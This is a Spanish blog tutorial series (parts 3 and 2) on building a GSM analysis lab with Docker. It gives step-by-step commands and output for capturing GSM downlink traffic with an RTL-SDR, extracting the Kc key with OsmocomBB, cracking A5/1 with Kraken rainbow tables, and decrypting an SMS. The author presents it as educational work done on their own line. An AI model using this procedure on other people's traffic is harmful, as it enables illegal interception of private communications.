Cuando las ballenas vuelan (episodio II) – Creando un entorno de análisis GSM usando Docker (parte 3)
Esta es la tercera parte de la serie (parte 1 y parte 2) y continuará con el escenario de análisis GSM usando los contenedores creados anteriormente.
Nota importante: No hace falta decir que interceptar comunicaciones de terceros sin su consentimiento es ilegal y puede acarrear graves problemas. Este escenario se plantea con fines educativos y se ha realizado sobre comunicaciones propias. No nos hacemos responsables del mal uso de la información proporcionada.
Romper el cifrado A5/1
La siguiente fase del escenario quiere responder a la pregunta: ¿podría romperse el cifrado GSM simplemente capturando el tráfico de forma pasiva?
Y para poder responderla habrá que intentarlo, siguiendo estos pasos.
Extraer información de una captura
Antes de utilizar Kraken, se deberá extraer información de una captura como la realizada en la primera fase del escenario, decodificando el tráfico del «SDCCH8» (Stand-alone Dedicated Control CHannel with 8 timeslots) en el timeslot correspondiente (normalmente el segundo, como en este caso) con Wireshark «escuchando« en la interfaz de loopback:
grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8
En el tráfico habrá que buscar mensajes que:
- Se envíen en claro antes de empezar a cifrar.
- Se envíen de forma periódica y se conozca la cadencia de envío.
- Tengan un valor que cambie poco o nada.
Los mejores candidatos para esto son los mensajes de tipo «System Information Type {5, 5bis, 5ter, 6}«, ya que:
- Están presentes en el tráfico en claro antes del «Ciphering Mode Command«.
- Se van repitiendo cada 102 GSM frames.
- Su valor suele ser estable durante el uso de canales dedicados.
Nota: En esta respuesta de Sylvain Munaut a la lista de correo A51 está explicado el porqué son buenos candidatos. Más información general sobre este tipo de mensajes.
Una vez determinado que tipo de mensajes pueden servir se deberá escoger uno en el tráfico en claro, por ejemplo uno «System Information Type 5bis«, y obtener el GSM frame number donde empieza. 1833278 en este caso:
Antes de continuar también será necesario volcar en un fichero de texto todos los bursts del tráfico capturado utilizando el siguiente comando:
grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8 --print-bursts > bursts-993-23.txt
Donde cada línea del fichero contiene tres campos:
- El frame number.
- El frame number «modificado» (esto es un requisito del algoritmo de cifrado A5/1 y será de utilidad luego).
- Los bits del burst.
Por ejemplo:
1829806 2825092: 100000010001110101010000000010100000000111111101010000001010000100010111010100000000101000010000010101010100000010
Nota: En este volcado la representación de los bursts sólo contiene los bits de información; en el caso de un burst de tipo «normal» = 114 bits.
Y después obtener los bursts del GSM frame seleccionado, así como de los 3 consecutivos:
# grep -A3 1833278 bursts-993-23.txt 1833278 2831378: 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100 1833279 2831411: 001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000 1833280 2831444: 100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010 1833281 2831477: 110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010
Nota: El motivo de necesitar 4 burts es que «To transfer one system information word, four bursts are needed.«, tal y como está explicado aquí.
El siguiente paso será realizar los cálculos para saber que frames (cifrados) deberían ser del tipo «System Information Type {5, 5bis, 5ter, 6}«:
- 1833278+102=1833380
- 1833380+102=1833482
- 1833482+102=1833584
Observando el tráfico en claro se ha podido comprobar que, para esta celda, los mensajes del tipo «System Information Type» se van alternando en este orden: 5, 5bis y 6, por eso se ha escogido directamente el tercero de la serie.
Una vez se tengan estos datos se podrá comprobar que el burst de este frame, así como los 3 consecutivos a este, están presentes en la captura:
#grep -A3 1833584 bursts-993-23.txt 1833584 2831372: 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011 1833585 2831405: 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001 1833586 2831438: 001100011001110001000010010110111010001100001010110101100010111100110100111010010001010110010100011101011010000111 1833587 2831471: 000110110001001101001110100110000111100001101100110001001010111111011010111100010011010010110101100111111000111110
Obtener Kc con Kraken
Hechos todos estos cálculos, será hora de arrancar el contenedor con Kraken, haciendo passthrough de la partición de disco con las rainbow tables y montando el volumen que contiene los índices en la ruta /kraken/indexes:
docker run \ --device=/dev/disk/by-id/wwn-0x5000c50091dc385d-part2:/dev/xvdc2 \ --volume /media/$USER/DRIZZLECHAIR/kraken/indexes/:/kraken/indexes/ \ -ti --rm pachulo/xenial-kraken
Y pasar a hacer disyunción exclusiva de los burst en claro con los cifrados. En este ejemplo, los bursts con frame number 1833278-1833281 XOR 1833584–1833587:
# cd /kraken/Utilities/ # python xor.py 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011 010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111 # python xor.py 001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001 010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001 # python xor.py 100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010 001100011001110001000010010110111010001100001010110101100010111100110100111010010001010110010100011101011010000111 101000000001011000010010001110111110000000001010100110100011101100101000011111000101011111010110010111001010011101 # python xor.py 110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010 000110110001001101001110100110000111100001101100110001001010111111011010111100010011010010110101100111111000111110 110110110101101110001111100100010010010001011100111010000011101101110000111100000001110010100111100111111011110100
La lógica de tener que realizar un XOR entre los bursts es que, al final, lo que se está realizando es un ataque Known-plaintext, por lo que Kraken necesita el keystream, no el ciphertext (los datos cifrados).
Ahora ya es el momento de ejecutar Kraken:
cd /kraken/Kraken/ && ./kraken /kraken/indexes
Obteniendo la siguiente salida con información sobre las rainbow tables cargadas:
Device: /dev/xvdc2 40 /dev/xvdc2 Allocated 41301076 bytes: /kraken/indexes/260.idx Allocated 41259888 bytes: /kraken/indexes/324.idx ... Tables: 260,324,492,388,140,276,132,156,364,164,356,412,436,172,500,180,372,428,188,196,268,420,204,212,348,292,220,396,100,230,340,380,404,108,238,116,332,148,250,124 Commands are: crack test quit Kraken>
Para comprobar que todo funciona correctamente se puede ejecutar un test:
Kraken> test Cracking 001101110011000000001000001100011000100110110110011011010011110001101010100100101111111010111100000110101001101011 Found 16027103698477381980x @ 12 #0 (table:340) Found 8050061555739560956x @ 23 #0 (table:372) crack #0 took 167157 msec
Nota: Kraken no es muy estable, por lo que de vez en cuando pueden producirse Segmentation faults.
Otro de los detalles que hay tener en cuenta al trabajar con Kraken es que para romper una clave normalmente será necesario el ciphertext (valor cifrado) del burst anterior, por lo que se utilizarán sólo el segundo, tercer y cuarto keystream (los resultados de los XOR).
En este ejemplo, al intentar romper el segundo keystream ya se obtiene un resultado:
Kraken> crack 010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001 [118/489] Cracking 010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001 Found 6647556174848107156x @ 29 #1 (table:332) crack #1 took 164725 msec
Que indica que 6647556174848107156x es la clave que produce la salida en la posición 29 después de 100 «clockings».
Con estos datos ya se puede pasar a la siguiente fase, que es la de encontrar Kc con la herramienta find_kc:
# /kraken/Utilities/find_kc usage: ./find_kc foundkey bitpos framecount (framecount2 burst2)
La cual necesita los siguientes datos:
- La clave encontrada por Kraken (6647556174848107156x en este caso).
- La posición donde produce la salida (29 en este caso).
- El GSM frame number modificado del burst cifrado.
- El GSM frame number modificado del burst anterior.
- El valor del keystream anterior.
Los dos GSM frame numbers modificados se pueden obtener del archivo creado anteriormente:
# grep -A1 1833584 bursts-993-23.txt 1833584 2831372: 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011 1833585 2831405: 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001
Mientras que el keystream, en este caso, es el resultado del primer XOR calculado anteriormente:
# python xor.py 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011 010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111
Con todos estos datos se ejecuta la herramienta:
# /kraken/Utilities/find_kc 6647556174848107156x 29 2831405 2831372 010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111 #### Found potential key (bits: 29)#### e4a3cebbf20d9b88 -> e4a3cebbf20d9b88 Framecount is 2831405 KC(0): 0e 5a 08 c9 9f 13 eb d4 mismatch KC(1): b9 ce 5a 3d 4a 55 5d a1 mismatch KC(2): c7 a0 20 1f 1a 10 8b 94 mismatch KC(3): 5f 03 c0 08 5b d4 61 da mismatch KC(4): dd 86 f9 7f d5 78 7f 1f mismatch KC(5): d4 30 16 35 ac 91 07 7d mismatch KC(6): 07 18 73 af b2 04 62 24 mismatch KC(7): 56 b5 2f 42 22 3d 19 b8 mismatch KC(8): 1e 2f f1 a1 30 25 c4 6a mismatch KC(9): 21 e6 24 36 5e 62 9d f5 mismatch KC(10): e4 c3 a4 e5 81 a8 ba 29 mismatch KC(11): 8f bb 4e 08 e4 1d 0f 95 mismatch KC(12): 16 77 32 e8 04 c8 b5 da mismatch KC(13): f6 ad e7 81 f4 23 2b d6 mismatch KC(14): ae 6c 6c 45 32 c9 8b ac mismatch KC(15): 18 26 0c 0d 9d b4 84 fa mismatch KC(16): cc f2 96 d9 79 a8 17 11 mismatch KC(17): 74 9e 10 02 34 24 a4 2d mismatch KC(18): 2b 97 41 82 f9 ec 9b 5e *** MATCHED *** KC(19): 28 a8 53 6f 92 e2 fd b3 mismatch KC(20): cf cd 84 34 12 a6 71 fc mismatch KC(21): 19 b7 65 9c a9 5a fe 27 mismatch KC(22): 9b 32 5c eb 27 f6 e0 e2 mismatch KC(23): 22 f1 fd c0 d7 c7 cf 00 mismatch KC(24): 0d dc 32 a7 cd 54 a0 c0 mismatch KC(25): 33 56 80 22 4e a3 8b 2a mismatch KC(26): b0 e0 16 ff ac cb 2e db mismatch KC(27): e1 4d 4a 12 3c f2 55 47 mismatch KC(28): fc 5f db a7 4e e8 cf 1b mismatch KC(29): 29 4d 56 6f 6a ee 99 ba mismatch KC(30): 33 93 6c d4 33 83 f4 d5 mismatch KC(31): 03 ac b3 d1 8d 17 ec b7 mismatch KC(32): 81 23 af 85 f1 30 08 33 mismatch KC(33): 45 a4 0e a6 86 b2 a8 bd mismatch KC(34): 15 0b e1 92 19 0a 05 d5 mismatch KC(35): a5 e6 d4 e2 49 fa 61 19 mismatch KC(36): f4 4b 88 0f d9 c3 1a 85 mismatch KC(37): 12 bf 00 29 3a a1 0f aa mismatch KC(38): 0e 61 42 19 d6 1f b5 2d mismatch KC(39): 5f cc 1e f4 46 26 ce b1 mismatch KC(40): 5b a2 89 64 19 ed 5f 37 mismatch
Y, como se puede observar, ¡una de las 41 claves candidatas coincide!
Utilizando Kc en un comando como este ya será posible descifrar todo el tráfico:
grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8 --kc=2b974182f9ec9b5e
Incluyendo el SMS recibido por nuestro terminal:
Este escenario no sale siempre a la primera, por lo que si no se obtienen resultados, se recomienda probar con otros mensajes «System Information Type {5, 5bis, 5ter, 6}» y/o con un «Actual Timing Advance» diferente (01 normalmente).
Conclusión
Se ha demostrado que para romper el cifrado A5/1, algoritmo soportado por prácticamente todos los móviles GSM del mundo, únicamente es necesario capturar el trafico de la interfaz aérea GSM de forma pasiva.
Además, también se ha confirmado que es posible hacerlo (aunque de una forma un poco artesanal) con hardware barato y software disponible gratuitamente en Internet.
Esto es especialmente grave dado que en el caso de España, por ejemplo, el uso del algoritmo A5/3 (más seguro y sin ataques prácticos publicados) para comunicaciones GSM por parte de los operadores es minoritario:
Vodafone has begun rolling out A5/3. To intercept subscribers of Vodafone in A5/3-enabled areas, attackers will need to use active equipment. In Spain, Movistar and Orange continue to mostly rely on outdated encryption.
Nota: Información obtenida de: https://gsmmap.org/assets/pdfs/gsmmap.org-country_report-Spain-2017-06.pdf
La única forma que como usuarios tenemos de tratar de evitar ser víctimas de este ataque es asegurarse de que el terminal no está utilizando 2G para comunicarse con la red.
Referencias
Teoría básica del ataque sobre A5/1 usado:
Paper de Karsten Nohl describiendo el ataque:
Y el vídeo de su presentación en Blackhat 2010:
Documentación sobre la creación del disco duro con las rainbow tables:
Los siguientes mensaje de la lista de correo A51 contienen información práctica sobre la implementación del ataque:
- [A51] gsm-receiver tutorial (1)
- [A51] gsm-receiver tutorial (2)
- [A51] Finding Kc with Kraken (dotting the i’s)
Este ejercicio de la universidad de Friburgo explica un escenario como el que se ha mostrado:
En esta serie de tutoriales del muy recomendable Crazy Danish Hacker se explica un escenario similar, pero utilizando otras herramientas para algunas tareas:
Información comparada sobre las medidas de protección implementadas en las redes de los operadores móviles de todo el mundo:
Bonus
Que hacer en caso de que el «Actual Timing Advance» de un paquete no sea 00
En el caso de un paquete del tipo «System Information Type {5, 5bis, 5ter, 6}« en el que el «Actual Timing Advance» (segundo byte) no sea 00 habrá que modificarlo, porque lo más probable es que en los mensajes posteriores (y cifrados) del mismo tipo este valor sí sea 00 (más información aquí).
Para ello primero habrá que obtener el hexdump del mensaje; esto es, desde la cabecera «SACCH L1» hasta el final (23 bytes en total):
Siendo en este caso:
05 01 03 03 49 06 05 af e8 7d fc 80 00 00 09 00 00 00 00 00 00 00 00
Para a continuación modificarlo para que el segundo byte sea 00 y ya se pueda obtener el paquete codificado en burts con la herramienta gsmframecoder:
/gsmframecoder/test/gsmframecoder 05 00 03 03 49 06 05 af e8 7d fc 80 00 00 09 00 00 00 00 00 00 00 00 Decoding 05000303490605afe87dfc800000090000000000000000 Encoded Frame, Burst1: 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100 Encoded Frame, Burst2: 001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000 Encoded Frame, Burst3: 100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010 Encoded Frame, Burst4: 110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010
Cuando las ballenas vuelan (episodio II) – Creando un entorno de análisis GSM usando Docker (parte 2)
Esta es la segunda parte de la serie (parte 1 y parte 3) y se empezará a explicar un escenario de análisis GSM usando los contenedores creados en la primera.
Obtener la clave de cifrado GSM con OsmocomBB
Una de las cosas que se puede hacer con OsmocomBB es acceder a la clave de sesión de cifrado simétrico GSM (Kc).
Nota: Tal y como se explicó en la anterior entrada, para seguir estos pasos son necesarios un teléfono compatible con OsmocomBB y un cable/adaptador USB-serie.
El primer paso será arrancar un contenedor de la imagen xenial-osmocombb
dándole acceso al dispositivo que representa al adaptador USB-serie:
docker run --device=/dev/ttyUSB0 --rm -it --name test-osmocombb pachulo/xenial-osmocombb
Este comando creará un contenedor efímero (--rm
), de nombre test-osmocombb
y ejecutará un terminal interactivo en el mismo (-it
).
Activar la emisión de señales (Tx)
Por cuestiones de seguridad (en algunos países está prohibido emitir en el espectro GSM sin licencia), OsmocomBB está configurado por defecto para tan sólo permitir la recepción de señales. Para obtener un firmware que sea capaz de emitir (para registrarse en la red del operador, por ejemplo) habrá que realizar las siguientes acciones.
Seguir las instrucciones del archivo /osmocom-bb/src/target/firmware/Makefile
:
# Uncomment this line if you want to enable Tx (Transmit) Support. #CFLAGS += -DCONFIG_TX_ENABLE
Y descomentar el FLAG con un comando como este:
sed -i 's/#CFLAGS += -DCONFIG_TX_ENABLE/CFLAGS += -DCONFIG_TX_ENABLE/g' /osmocom-bb/src/target/firmware/Makefile
Y después volver a compilar OsmocomBB con el siguiente comando:
cd /osmocom-bb/src && \ make distclean && \ make
osmocon
Una vez finalizado el anterior paso y desde la sesión del contenedor, se ejecutará osmocon con unas opciones parecidas a estas, teniendo en cuenta que según el teléfono usado puede ser otro firmware el que haya que cargar:
cd /osmocom-bb/src/host/osmocon && \ ./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/layer1.compalram.bin
Nota: Las diferentes opciones de osmocon, así como los firmware disponibles para cada teléfono, están explicadas en la documentación.
Una vez ejecutado el comando, con el teléfono conectado al ordenador mediante el cable/adaptador USB-serie, se deberá pulsar el botón de encendido del teléfono brevemente para que cargue el firmware de OsmocomBB y no el original.
Si todo ha ido bien, en la consola se debería ver algo como:
Received PROMPT1 from phone, responding with CMD [16/147] read_file(../../target/firmware/board/compal_e88/layer1.compalram.bin): file_size=58484, hdr_len=4, dnload_len=58491 got 1 bytes from modem, data looks like: 1b . got 1 bytes from modem, data looks like: f6 . got 1 bytes from modem, data looks like: 02 . got 1 bytes from modem, data looks like: 00 . got 1 bytes from modem, data looks like: 41 A got 1 bytes from modem, data looks like: 02 . got 1 bytes from modem, data looks like: 43 C Received PROMPT2 from phone, starting download handle_write(): 4096 bytes (4096/58491) handle_write(): 4096 bytes (8192/58491) handle_write(): 4096 bytes (12288/58491) handle_write(): 4096 bytes (16384/58491) handle_write(): 4096 bytes (20480/58491) handle_write(): 4096 bytes (24576/58491) handle_write(): 4096 bytes (28672/58491) handle_write(): 4096 bytes (32768/58491) handle_write(): 4096 bytes (36864/58491) handle_write(): 4096 bytes (40960/58491) handle_write(): 4096 bytes (45056/58491) handle_write(): 4096 bytes (49152/58491) handle_write(): 4096 bytes (53248/58491) handle_write(): 4096 bytes (57344/58491) handle_write(): 1147 bytes (58491/58491) handle_write(): finished got 1 bytes from modem, data looks like: 1b . got 1 bytes from modem, data looks like: f6 . got 1 bytes from modem, data looks like: 02 . got 1 bytes from modem, data looks like: 00 . got 1 bytes from modem, data looks like: 41 A got 1 bytes from modem, data looks like: 03 . got 1 bytes from modem, data looks like: 42 B Received DOWNLOAD ACK from phone, your code is running now! battery_compal_e88_init: starting up OsmocomBB Layer 1 (revision osmocon_v0.0.0-1773-g0cdf4b0) ====================================================================== Device ID code: 0xb4fb Device Version code: 0x0000 ARM ID code: 0xfff3 cDSP ID code: 0x0128 Die ID code: ee0c2c2ab8021437 ====================================================================== REG_DPLL=0x2413 CNTL_ARM_CLK=0xf0a1 CNTL_CLK=0xff91 CNTL_RST=0xfff3 CNTL_ARM_DIV=0xfff9 ...
Y en la pantalla del teléfono:
Layer 1 osmocom-bb
mobile
El siguiente paso es abrir otra sesión en el contenedor:
docker exec -ti test-osmocombb /bin/bash
Y ejecutar el comando mobile para que se conecte al teléfono y haga las funciones de capa 2-3:
cd /osmocom-bb/src/host/layer23/src/mobile && \ ./mobile -i 127.0.0.1
Y permita la gestión del mismo. Para ello habrá que abrir una tercera sesión dentro del contenedor:
docker exec -ti test-osmocombb /bin/bash
Y conectarse, mediante telnet, al puerto abierto por mobile:
telnet 127.0.0.1 4247
Con lo que se obtendrá acceso a la interfaz de control de OsmocomBB:
Welcome to the OsmocomBB control interface OsmocomBB> ? show Show running system information list Print command list exit Exit current mode and down to previous mode help Description of the interactive help system enable Turn on privileged mode command terminal Set terminal line parameters who Display who is on vty monitor Monitor... no Negate a command or set its defaults
Nota: La documentación del comando mobile está disponible aquí.
Y desde la que, una vez activado el modo privilegiado con el comando enable
:
OsmocomBB> enable OsmocomBB# ? help Description of the interactive help system list Print command list write Write running configuration to memory, network, or terminal show Show running system information exit Exit current mode and down to previous mode disable Turn off privileged mode command configure Configuration from vty interface copy Copy configuration terminal Set terminal line parameters who Display who is on vty monitor Monitor... no Negate a command or set its defaults off Turn mobiles off (shutdown) and exit sim SIM actions network Network ... call Make a call sms Send an SMS service Send a Supplementary Service request test Manually trigger cell re-selection delete Delete
Será posible desbloquear la SIM con el PIN:
OsmocomBB# sim pin 1 1234
Y, después de esperar unos segundos a que se produzca el registro en la red del operador:
% (MS 1) % Trying to registering with network... % (MS 1) % On Network, normal service: Spain, Orange
Ya se podrá obtener información como el IMSI (International Mobile Subscriber Identity), el ICCID (Integrated Circuit Card IDentifier) y la clave Kc:
OsmocomBB# show subscriber 1 Mobile Subscriber of MS '1': IMSI: 2140345XXXXXXXX ICCID: 89340141716XXXXXXXX Service Provider Name: Orange SMS Service Center Address: +34656000311 Status: U1_UPDATED IMSI attached TMSI 0x7081xxxxx LAI: MCC 214 MNC 03 LAC 0xXXXX (Spain, Orange) Key: sequence 0 23 7d cf ff ff ff ff ff Registered PLMN: MCC 214 MNC 03 (Spain, Orange) Access barred cells: no Access classes: C0 ...
Así como los datos de la celda a la que está conectado:
OsmocomBB# show ms MS '1' is up, service is normal IMEI: 000000000000000 IMEISV: 0000000000000000 IMEI generation: fixed automatic network selection state: A2 on PLMN MCC=214 MNC=03 (Spain, Orange) cell selection state: C3 camped normally ARFCN=993 MCC=214 MNC=03 LAC=0x0XXX CELLID=0x0XXX (Spain, Orange) radio ressource layer state: idle mobility management layer state: MM idle, normal service ...
Analizar y decodificar el Common Control CHannel de un ARFCN con OsmocomBB y Wireshark
Para poder hacer esto habrá que arrancar el contenedor de la siguiente manera:
docker run --device=/dev/ttyUSB0 --net=host --rm -it --name test-osmocombb pachulo/xenial-osmocombb
Cargar el mismo firmware que para el ejemplo anterior:
cd /osmocom-bb/src/host/osmocon && \ ./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/layer1.compalram.bin
Pero ejecutar en este caso la aplicación ccch_scan (en vez de mobile):
docker exec -ti test-osmocombb /bin/bash
Indicando en el parámetro ARFCN (Absolute Radio-Frequency Channel Number) el que se quiera sintonizar:
cd /osmocom-bb/src/host/layer23/src/misc &&; \ ./ccch_scan --arfcn 993 --gsmtap-ip 127.0.0.1
A partir de entonces, si se ejecuta Wireshark para sniffar el tráfico de red de la interfaz loopback, se visualizarán los mensajes decodificados del CCCH del ARFCN sintonizado.
Capturar el tráfico de la interfaz aérea de GSM con GR-GSM
Con la información obtenida en el paso anterior, ya se puede intentar sintonizar el canal al cual está conectado nuestro teléfono. Para ello es necesario ejecutar un contenedor gr-gsm:
docker run --device=/dev/bus/usb/002 --net=host --cap-add=NET_ADMIN --rm --name test-gr-gsm -it -v `pwd`/files:/root/files pachulo/xenial-gr-gsm
Nota: En este caso no hará falta hacer passthrough de la GPU, ya que todo el software que se necesita para este escenario funciona por línea de comandos.
Obtener el error de sintonización del RTL-SDR
Antes que nada, habrá que calcular que error tiene nuestro RTL-SDR a la hora de sintonizar una frecuencia (medido en ppm). Para ello se utilizará el software Kalibrate para, primero, escanear el espectro GSM:
root@latitude:/# kal -s EGSM -v Found 1 device(s): 0: Generic RTL2832U OEM Using device 0: Generic RTL2832U OEM Found Rafael Micro R820T tuner Exact sample rate is: 270833.002142 Hz kal: Scanning for E-GSM-900 base stations. channel detect threshold: 18835.181650 E-GSM-900: chan: 9 (936.8MHz + 2.826kHz) power: 52243.45 ... chan: 993 (928.8MHz + 309Hz) power: 43248.09
Nota: Si al escanear el espectro no se encuentra ningún canal: a) estamos en una zona sin cobertura 2G b) el error de sintonización del cristal del RTL-SDR es tan grande que Kalibrate no es capaz de sintonizar ninguna. En caso de b) es posible ejecutar kal con un error inicial, usando la opción «-e».
Y después calcular el error sintonizando con uno de los canales detectados:
root@latitude:/# kal -c 993 Found 1 device(s): 0: Generic RTL2832U OEM Using device 0: Generic RTL2832U OEM Found Rafael Micro R820T tuner Exact sample rate is: 270833.002142 Hz kal: Calculating clock frequency offset. ... average absolute error: 23.051 ppm
Siendo el medio de este dispositivo 23.051 ppm.
Hay que tener en cuenta que este valor puede cambiar con la temperatura, así que vale la pena ejecutar lo siguiente durante unos 10 minutos antes de realizar el cálculo:
root@latitude:/# rtl_test Found 1 device(s): 0: Realtek, RTL2838UHIDIR, SN: 00000001 Using device 0: Generic RTL2832U OEM Found Rafael Micro R820T tuner Supported gain values (29): 0.0 0.9 1.4 2.7 3.7 7.7 8.7 12.5 14.4 15.7 16.6 19.7 20.7 22.9 25.4 28.0 29.7 32.8 33.8 36.4 37.2 38.6 40.2 42.1 43.4 43.9 44.5 48.0 49.6 Sampling at 2048000 S/s. Info: This tool will continuously read from the device, and report if samples get lost. If you observe no further output, everything is fine. Reading samples in async mode...
Capturar el downlink
Una vez realizados estos pasos ya se podrá pasar a capturar el tráfico del ARFCN de la celda donde está conectado nuestro teléfono (993 en nuestro caso) y guardando los resultados (en forma de bursts GSM) en el fichero test-burst.file
con la herramienta grgsm_capture.py
:
grgsm_capture.py --arfcn=993 --ppm=23 --burst-file=test-burst.file
Ahora será el momento de enviar un SMS al número de teléfono asignado a la tarjeta SIM del teléfono OsmocomBB:
OsmocomBB# % (MS 1) % SMS from +3466XXXXXXX: 'Testpurposes'
Una vez recibido, ya se podrá detener la captura y pasar a decodificar el canal BCCH (Broadcast Control CHannel) usando el fichero de bursts como entrada de la herramienta grgsm_decode
:
grgsm_decode --arfcn=993 --ppm=23 --burst-file=test-burst.file --timeslot=0 --mode=BCCH
En este momento, si se pone a capturar el tráfico de red con Wireshark en la interfaz loopback, se podrán visualizar los datos decodificados:
Nota: Se recomienda ejecutar Wireshark con el siguiente comando para ver el tráfico decodificado:
wireshark -k -f udp -Y gsmtap -i lo
El siguiente paso es verificar que hemos capturado el tráfico hacía nuestro teléfono, por lo que se puede aplicar un filtro de Wireshark para ver si se ha producido alguna comunicación con el TMSI (Temporary Mobile Subscriber Identity) asignado (y obtenido con OsmocomBB) gsm_a.tmsi == 0x7081e5c3
:
En este caso vemos dos paquetes del tipo «Paging Request Type 1» con destino nuestro terminal.
Nota: Hay que tener en cuenta que con el RTL-SDR sólo se está capturando el tráfico que va de la red del operador (las Base Transceiver Stations básicamente) a las Mobile Stations (los teléfonos).
Una vez hecho esto, habrá que examinar los paquetes de tipo «Immediate Assignment» para encontrar los que contienen el campo «Channel Description«. En este atributo se podrá observar a que timeslot y canal se asignan los terminales cuando necesitan un canal dedicado:
En nuestro ejemplo es el timeslot 1 y el canal SDCCH8 (Stand-alone Dedicated Control CHannel con 8 sub-slots).
Con esta información ya se podrá pasar a decodificar el canal con el siguiente comando:
grgsm_decode --arfcn=993 --ppm=23 --burst-file=test-burst.file --timeslot=1 --mode=SDCCH8
Aunque como la mayoría del tráfico de este canal va cifrado se decodificaran muy pocos paquetes. De todas formas ya se pueden averiguar dos cosas:
1. Que el dispositivo al que se está respondiendo es el nuestro, verificando el TMSI del paquete «Paging Response«:
2. El algoritmo de cifrado usado, ya que se comunica antes de empezar a cifrar el tráfico. A5/1 en el caso de nuestra comunicación:
Por último, para descifrar el tráfico que ha recibido nuestro teléfono se puede especificar la Kc (obtenida con OsmocomBB) como parámetro de grgsm_decode
:
grgsm_decode --burst-file=test-burst.file --arfcn=993 --ppm=23 --timeslot=1 --mode=SDCCH8 --kc=237dcfffffffffff
Con lo que se podrá ver los datos en claro, incluyendo el SMS que se ha enviado:
Bonus
Configurar OsmocomBB para que el teléfono no «salte» de celda
Uno de los problemas que puede plantearse a la hora de realizar este escenario es que el teléfono vaya saltando de una celda a otra, ya que si las potencias de transmisión son parecidas, cada cierto tiempo escaneará el espectro GSM y se conectará a la que emita con más fuerza. Esto puede dificultar la captura del tráfico con un dispositivo RTL-SDR, ya que este solo puede capturar un ancho de banda limitado (aprox. 2MHz).
Para cambiar este comportamiento habrá que escribir la configuración del teléfono en un fichero con el siguiente comando de la consola OsmocomBB:
OsmocomBB# write file Configuration saved to /root/.osmocom/bb/mobile.cfg
Para a continuación apagarlo, modificar la siguiente linea de la configuración:
< no stick --- > stick <ARFCN>
Substituyendo <ARFCN> por el de la celda a la que se quiera conectar de forma fija y volver a arrancar el teléfono con el firmware OsmocomBB.
SIMTester
En este apartado se va explicar como sería posible realizar análisis de seguridad de tarjetas SIM con SIMTester usando un teléfono compatible con OsmocomBB como lector.
Primero habrá que arrancar un nuevo contenedor OsmocomBB:
docker run --device=/dev/ttyUSB0 --rm -it --name test-simtester pachulo/xenial-osmocombb
Utilizar el teléfono como lector requiere un firmware especial, pero antes de poder crearlo habrá que instalar el JDK de Java 8:
apt update && \ apt install -y openjdk-8-jdk
Ahora habrá que compilar la rama luca/libosmosim
de OsmocomBB, pero antes se tendrá realizar una pequeña modificación, ya que parece que los Makefile tienen la ruta del JDK hardcodeada.:
cd /osmocom-bb/src && \ git checkout luca/libosmosim && \ sed -i 's/\/home\/gsmmap\/jdk1.7.0_45/\/usr\/lib\/jvm\/java-8-openjdk-amd64/g' host/layer23/src/libosmosim/Makefile* && \ make
Una vez finalizada la compilación ejecutaremos osmocon
para cargar el firmware cuando se encienda el teléfono:
cd /osmocom-bb/src/host/osmocon && \ ./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/layer1.compalram.bin
Una vez hecho esto, en otro terminal dentro del contenedor:
docker exec -ti test-simtester /bin/bash
Ya se podrá descargar el software:
wget https://opensource.srlabs.de/attachments/download/117/SIMtester_v1.8.1.zip &&; \ unzip SIMtester_v1.8.1.zip
Y ejecutarlo, aunque antes habrá que asegurarse de que el archivo libosmosim.so
esté disponible en el java.library.path
:
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/osmocom-bb/src/host/layer23/src/libosmosim/.libs/ && \ cd /SIMtester/binaries/v1.8.1 && \ java -jar SIMTester.jar -tf OsmocomBB
Pero, aunque parece que el programa se conecta correctamente al teléfono, no aparecen resultados:
######################################## SIMTester v1.8.1, 2016-02-04 Lukas Kuzmiak (lukas@srlabs.de) Security Research Labs, Berlin, 2017 ######################################## Using OsmocomBB mobile as SIM card reader Terminals connected: 1 de.srlabs.simlib.osmocardprovider.OsmoCardTerminal@5b2133b1 Using terminal: OsmoCardTerminal Card connected: de.srlabs.simlib.osmocardprovider.OsmoCard@33c7353a
Creating your Go HTTP API easily with goa
